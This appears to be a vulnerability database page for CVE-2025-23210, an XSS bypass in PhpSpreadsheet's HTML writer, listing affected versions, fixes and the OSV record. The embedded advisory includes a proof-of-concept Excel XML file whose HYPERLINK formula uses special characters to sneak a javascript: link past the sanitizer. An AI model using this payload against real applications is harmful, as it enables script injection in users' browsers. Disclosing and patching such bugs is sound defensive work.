CVE-2025-23210: Phpoffice/phpspreadsheet Cross-Site Scripting Vulnerability
MODERATECVE-2025-23210 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet allows bypassing of xss sanitizer using the javascript protocol and special characters. Remediation is available by upgrading affected packages to version 3.9.0, 1.29.9, 2.3.7, 2.1.8.
CVE-2025-23210 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2025-23210
To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phpoffice/phpspreadsheet to 3.9.0
Upgrade phpoffice/phpspreadsheet to 1.29.9
Upgrade phpoffice/phpspreadsheet to 2.3.7
Upgrade phpoffice/phpspreadsheet to 2.1.8
Upgrade phpoffice/phpexcel to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phpoffice/phpspreadsheet
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-23210, inspect your project dependencies for Phpoffice/phpspreadsheet:
inspect dependencies for phpoffice/phpspreadsheet
Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.9.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-23210 Affected Phpoffice/phpspreadsheet Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 3.0.0
< 3.9.0
|
3.9.0
|
|
phpoffice/phpspreadsheet
|
Packagist |
< 1.29.9
|
1.29.9
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.2.0
< 2.3.7
|
2.3.7
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.0.0
< 2.1.8
|
2.1.8
|
|
phpoffice/phpexcel
|
Packagist |
≤ 1.8.2
|
|
References
Frequently Asked Questions
What is CVE-2025-23210?
Which Phpoffice/phpspreadsheet versions are affected?
What version fixes CVE-2025-23210?
Is phpoffice/phpspreadsheet affected?
Is phpoffice/phpexcel affected?
What is the CVSS score of CVE-2025-23210?
What CWE is associated with CVE-2025-23210?
How can I check Packagist dependencies for CVE-2025-23210?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r57h-547h-w24f",
"modified" : "2025-03-06T18:22:55Z",
"published" : "2025-02-03T15:39:31Z",
"aliases" : [ "CVE-2025-23210" ],
"summary" : "PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters",
"details" : "**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileType = 'Xml';\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType); \n\n$inputFileName = './doc/file.xml';\n$spreadsheet = $reader->load($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer->generateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n<?xml version=\"1.0\"?> \n<?mso-application progid=\"Excel.Sheet\"?> \n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"> \n <DocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"> \n <Author>author</Author> \n <LastAuthor>author</LastAuthor> \n <Created>2015-06-05T18:19:34Z</Created> \n <LastSaved>2024-12-25T10:16:07Z</LastSaved> \n <Version>16.00</Version> \n </DocumentProperties> \n <OfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"> \n <AllowPNG/> \n </OfficeDocumentSettings> \n <ExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"> \n <WindowHeight>11020</WindowHeight> \n <WindowWidth>19420</WindowWidth> \n <WindowTopX>32767</WindowTopX> \n <WindowTopY>32767</WindowTopY> \n <ProtectStructure>False</ProtectStructure> \n <ProtectWindows>False</ProtectWindows> \n </ExcelWorkbook> \n <Styles> \n <Style ss:ID=\"Default\" ss:Name=\"Normal\"> \n <Alignment ss:Vertical=\"Bottom\"/> \n <Borders/> \n <Font ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/> \n <Interior/> \n <NumberFormat/> \n <Protection/> \n </Style> \n <Style ss:ID=\"s16\"> \n <NumberFormat ss:Format=\"General Date\"/> \n </Style> \n </Styles> \n <Worksheet ss:Name=\"Лист1\"> \n <Table ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"> \n <Column ss:AutoFitWidth=\"0\" ss:Width=\"194\"/> \n <Row> \n <Cell ss:Formula=\"=HYPERLINK (CHAR(20) & "j" & CHAR(13) & "avascript:alert(1)")\"><Data ss:Type=\"String\"></Data></Cell> \n </Row> \n </Table> \n <WorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"> \n <PageSetup> \n <Header x:Margin=\"0.3\"/> \n <Footer x:Margin=\"0.3\"/> \n <PageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/> \n </PageSetup> \n <Selected/> \n <TopRowVisible>1</TopRowVisible> \n <Panes> \n <Pane> \n <Number>3</Number> \n <ActiveRow>6</ActiveRow> \n </Pane> \n </Panes> \n <ProtectObjects>False</ProtectObjects> \n <ProtectScenarios>False</ProtectScenarios> \n </WorksheetOptions> \n </Worksheet>\n</Workbook>\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n<img width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" />\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.9.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.29.9"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.3.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.1.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpexcel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.8.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-23210"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-02-03T15:39:31Z",
"nvd_published_at" : "2025-02-03T22:15:28Z"
}
}